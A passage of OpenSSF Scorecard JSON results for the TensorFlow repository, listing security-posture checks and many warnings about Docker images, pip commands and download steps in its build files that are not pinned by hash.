LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:4: pin your Docker image by updating python:3.12.0a3-slim-bullseye to python:3.12.0a3-slim-bullseye@sha256:af6510dd0c93066231f4f5f0d6b399a47cf5f91c26c6797f5e145fab01d94316","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.pi:1: pin your Docker image by updating ubuntu:14.04 to ubuntu:14.04@sha256:64483f3496c1373bfd55348e88694d1c4d0c9b660dee6bfef5e12f43b9933b30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cpu:6: pin your Docker image by updating launcher.gcr.io/google/rbe-ubuntu16-04:r327695 to launcher.gcr.io/google/rbe-ubuntu16-04:r327695@sha256:b940d4f08ea79ce9a07220754052da2ac4a4316e035d8799769cea3c24d10c66","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu16.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.1-cudnn7-ubuntu18.04-manylinux2010-multipython:36","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda10.2-cudnn7-ubuntu18.04-manylinux2010-multipython:11: pin your Docker image by updating gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010 to gcr.io/tensorflow-testing/nosla-cuda10.0-cudnn7-ubuntu16.04-manylinux2010@sha256:6a5d4699391340f889c645e9f922c0dee980f426cc5ffd92fe4cc19e288a0a33","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.0-cudnn8-ubuntu18.04-manylinux2010-multipython:38","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:14","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.cuda11.2-cudnn8.1-ubuntu20.04-manylinux2014-multipython:41","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu18.04-manylinux2010-multipython:10: pin your Docker image by updating ubuntu:18.04 to ubuntu:18.04@sha256:152dc042452c496007f07ca9127571cb9c29697f42acbfad72324b2bb2e43c98","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.rocm-ubuntu20.04-manylinux2014-multipython:10: pin your Docker image by updating ubuntu:20.04 to ubuntu:20.04@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rbe.ubuntu16.04-manylinux2010:40: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.rocm:3: pin your Docker image by updating ubuntu:focal to ubuntu:focal@sha256:8feb4d8ca5354def3d8fce243717141ce31e2c428701f6682bd2fafe15388214","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/linux/mkl/Dockerfile.devel-mkl:4","Warn: pipCommand not pinned by hash: ci/devinfra/docker/windows/Dockerfile:104-105","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:55","Warn: pipCommand not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:56","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:26","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:27","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:30","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:78","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:80","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/Dockerfile.micro:24","Warn: downloadThenRun not pinned by hash: tensorflow/tools/tf_sig_build_dockerfiles/Dockerfile:45","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build/setup.python.sh:67","Warn: downloadThenRun not pinned by hash: ci/official/containers/ml_build_arm64/setup.python.sh:96","Warn: pipCommand not pinned by hash: ci/official/utilities/setup_macos.sh:121","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:19","Warn: goCommand not pinned by hash: tensorflow/go/genop/generate.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/docker_cpu_pip.sh:22","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:45","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/nightly_release_smoke_test.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:764","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/builds/pip_new.sh:765","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:19","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_auditwheel.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:20","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:23","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:28","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:31","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:35","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:39","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:43","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:47","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:51","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:55","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:58","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:61","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:64","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:68","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:73","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:77","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:81","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:87","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:91","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:95","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:97","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:99","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:103","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_centos_pip_packages.sh:105","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pi_python3.9_toolchain.sh:25","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:29","Warn: pipCommand not pinned by hash: tensorflow/tools/ci_build/install/install_pip_packages.sh:33","Warn: pipCommand not pinned by hash: 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privilege.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"30 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#packaging"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#security-policy"}},{"name":"CII-Best-Practices","score":5,"reason":"badge detected: Passing","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Apache License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#signed-releases"}},{"name":"Binary-Artifacts","score":8,"reason":"binaries present in source code","details":["Warn: binary detected: tensorflow/lite/java/demo/gradle/wrapper/gradle-wrapper.jar:1","Warn: binary detected: tensorflow/lite/java/ovic/demo/gradle/wrapper/gradle-wrapper.jar:1"],"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#binary-artifacts"}},{"name":"SAST","score":9,"reason":"SAST tool is not run on all commits -- score normalized to 9","details":["Warn: 27 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#sast"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/ab2f6e92482462fe66246d9e32f642855a691dc1/docs/checks.md#branch-protection"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:32-34","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:37","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:55-60","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:63-69","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:83-100","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows/Dockerfile:107-121","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:153-157","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows/Dockerfile:160-161","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows/Dockerfile:162","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows/Dockerfile:163-164","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:24-26","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:29","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:46-51","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:54-60","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:72-115","Info: Possibly incomplete results: error parsing shell code: a command can only contain words and redirects; encountered (: ci/devinfra/docker/windows2022/Dockerfile:123-137","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:170-174","Info: Possibly incomplete results: error parsing shell code: statements must be separated by \u0026, ; or a newline: ci/devinfra/docker/windows2022/Dockerfile:178-179","Info: Possibly incomplete results: error parsing shell code: \u0026 can only immediately follow a statement: ci/devinfra/docker/windows2022/Dockerfile:180","Info: Possibly incomplete results: error parsing shell code: \"foo(\" must be followed by ): ci/devinfra/docker/windows2022/Dockerfile:181-182","Info: Possibly incomplete results: error parsing shell code: \u0026\u003e must be followed by a word: tensorflow/compiler/mlir/tensorflow/tests/reducer/unsupported-op-test.sh:0","Info: Possibly incomplete results: error parsing shell code: invalid var name: tensorflow/tools/ci_build/builds/test_user_ops.sh:0","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows/Dockerfile:15: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2019 to mcr.microsoft.com/windows/servercore:ltsc2019@sha256:0f967dbb28a1637e6fb8d6a552a3cca69121ccef4e0c6631f8231097016ec9f8","Warn: containerImage not pinned by hash: ci/devinfra/docker/windows2022/Dockerfile:11: pin your Docker image by updating mcr.microsoft.com/windows/servercore:ltsc2022 to mcr.microsoft.com/windows/servercore:ltsc2022@sha256:d9e1a220c13cf25c7b213fbd96df2b63671e2dba0de3909003d4bb23a8bc8a1c","Warn: containerImage not pinned by hash: ci/official/containers/ml_build/Dockerfile:3","Warn: containerImage not pinned by hash: tensorflow/lite/tools/pip_package/Dockerfile.py3:16","Warn: containerImage not pinned by hash: tensorflow/lite/tools/tflite-android.Dockerfile:1: pin your Docker image by updating tensorflow/build:latest-python3.11 to tensorflow/build:latest-python3.11@sha256:15ce4d4aff708dba7720752587026d15c563c9078269c932abcfb50e9fd68f6c","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.android:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cmake:15: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu-py36:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.arm64:1: pin your Docker image by updating linaro/tensorflow-arm64-build:2.17-multipython to linaro/tensorflow-arm64-build:2.17-multipython@sha256:71d97e638fc3059a38a94cd0af2935da0cce288ecec9a8bbebafe2fb150cd664","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cpu.ppc64le:1: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.cuda-clang:11","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16:34: pin your Docker image by updating ubuntu:16.04 to ubuntu:16.04@sha256:1f1a2d56de1d604801a9671f301190704c25d604a416f59e03c04f5c6ffee0d6","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.0:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda10.1:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:3","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.custom_op_ubuntu_16_cuda11.2:30","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.debian.bullseye.cpu:1: pin your Docker image by updating debian:bullseye-20221219 to debian:bullseye-20221219@sha256:c66c0e5dc607baefefda1d9e64a3b3a317e4189c540c8eac0c1a06186fe353a1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu:1","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.gpu.ppc64le:1: pin your Docker image by updating nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04 to nvidia/cuda-ppc64le:9.2-cudnn7-devel-ubuntu16.04@sha256:2f11acbd03c1f316f8bece8e850a8ebdc8cbaa262a4afd95c608e51062c0b344","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu18.04-manylinux2010:10","Warn: containerImage not pinned by hash: tensorflow/tools/ci_build/Dockerfile.local-toolchain-ubuntu20.04-manylinux2014:13","Warn: containerImage not pinned by hash: 